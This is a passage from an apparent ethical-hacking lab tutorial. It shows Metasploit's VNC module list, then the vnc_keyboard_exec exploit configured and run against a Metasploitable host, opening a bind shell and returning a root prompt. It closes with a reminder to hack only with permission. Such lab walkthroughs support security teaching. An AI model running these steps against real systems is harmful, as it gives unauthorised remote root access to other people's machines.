10	exploit/windows/vnc/ultravnc_client	2006-04-04	normal	No	UltraVNC 1.0.1 Client Buffer Overflow
11	\ target: Windows 2000 SP4 English	.	.	.	.
12	\ target: Windows XP SP2 English	.	.	.	.
13	\ target: Windows 2003 SP1 English	.	.	.	.
14	exploit/windows/vnc/ultravnc_viewer_bof	2008-02-06	normal	No	UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
15	exploit/multi/vnc/vnc_keyboard_exec	2015-07-10	great	No	VNC Keyboard Remote Code Execution
16	\ target: VNC Windows / Powershell	.	.	.	.
17	\ target: VNC Windows / VBScript CMDStager	.	.	.	.
18	\ target: VNC Linux / Unix	.	.	.	.
19	exploit/windows/vnc/winvnc_http_get	2001-01-29	average	No	WinVNC Web Server GET Overflow
20	\ target: Windows NT4 SP3-6	.	.	.	.
21	\ target: Windows 2000 SP1-4	.	.	.	.
22	\ target: Windows XP SP0-1	.	.	.	.

```

Interact with a module by name or index. For example info 22, use 22 or use exploit/windows/vnc/winvnc_http_get
After interacting with a module you can manually set a TARGET with set TARGET 'Windows XP SP0-1'

```

- Now we type a exploit id/no. that we want to test.

```
msf6 exploit(multi/vnc/vnc_keyboard_exec) > use 15
[*] Using configured payload cmd/unix/bind_perl
msf6 exploit(multi/vnc/vnc_keyboard_exec) > options

Module options (exploit/multi/vnc/vnc_keyboard_exec):



| Name               | Current Setting | Required | Description                                                                                            |
|--------------------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| PASSWORD           | password        | no       | The VNC password                                                                                       |
| RHOSTS             | 192.168.65.147  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT              | 5900            | yes      | The target port (TCP)                                                                                  |
| SSL                | false           | no       | Negotiate SSL for incoming connections                                                                 |
| SSLCert            |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                       |
| TIME_KBD_DELAY     | 50              | yes      | Delay in milliseconds when typing long commands (0 to disable)                                         |
| TIME_KBD_THRESHOLD | 50              | yes      | How many keystrokes between each delay in long commands                                                |
| TIME_WAIT          | 20              | yes      | Time to wait for payload to be executed                                                                |
| URIPATH            |                 | no       | The URI to use for this exploit (default is random)                                                    |



When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:



| Name    | Current Setting | Required | Description                                                                                                                           |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| SRVHOST | 192.168.65.143  | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT | 8080            | yes      | The local port to listen on.                                                                                                          |



Payload options (cmd/unix/bind_perl):



| Name  | Current Setting | Required | Description        |
|-------|-----------------|----------|--------------------|
| LPORT | 4444            | yes      | The listen port    |
| RHOST | 192.168.65.147  | no       | The target address |



Exploit target:



| Id | Name             |
|----|------------------|
| 2  | VNC Linux / Unix |



View the full module info with the info, or info -d command.

msf6 exploit(multi/vnc/vnc_keyboard_exec) > run

[*] 192.168.65.147:5900 - 192.168.65.147:5900 - Trying to authenticate against VNC server
[*] 192.168.65.147:5900 - 192.168.65.147:5900 - Authenticated
[*] 192.168.65.147:5900 - 192.168.65.147:5900 - Opening 'Run Application'
[*] 192.168.65.147:5900 - 192.168.65.147:5900 - Opening xterm
[*] 192.168.65.147:5900 - 192.168.65.147:5900 - Typing and executing payload
[*] 192.168.65.147:5900 - 192.168.65.147:5900 - Waiting for session...
[*] Started bind TCP handler against 192.168.65.147:4444
[*] Command shell session 2 opened (192.168.65.143:33709 -> 192.168.65.147:4444) at 2024-07-29 12:40:39 +0530

whoami
root
hostname
metasploitable
pwd
/
cd /home
ls
```

- And we got the access. One thing is here that firstly we have to check the password for this exploit through auxiliaries.

## Ending note

- ❖ Please note that hacking into a system that is not your own is illegal and should only be done with the explicit permission of the system owner. Always use ethical hacking tools and methods for testing and learning purposes.
- ❖ The purpose of hacking into a local Metasploitable machine is to understand the process of ethical hacking and to practice ethical hacking techniques. It is not meant to cause any harm to the machine or its owner.

- ❖ Remember to only use this machine for educational and ethical hacking purposes, and never use it for any malicious activities.

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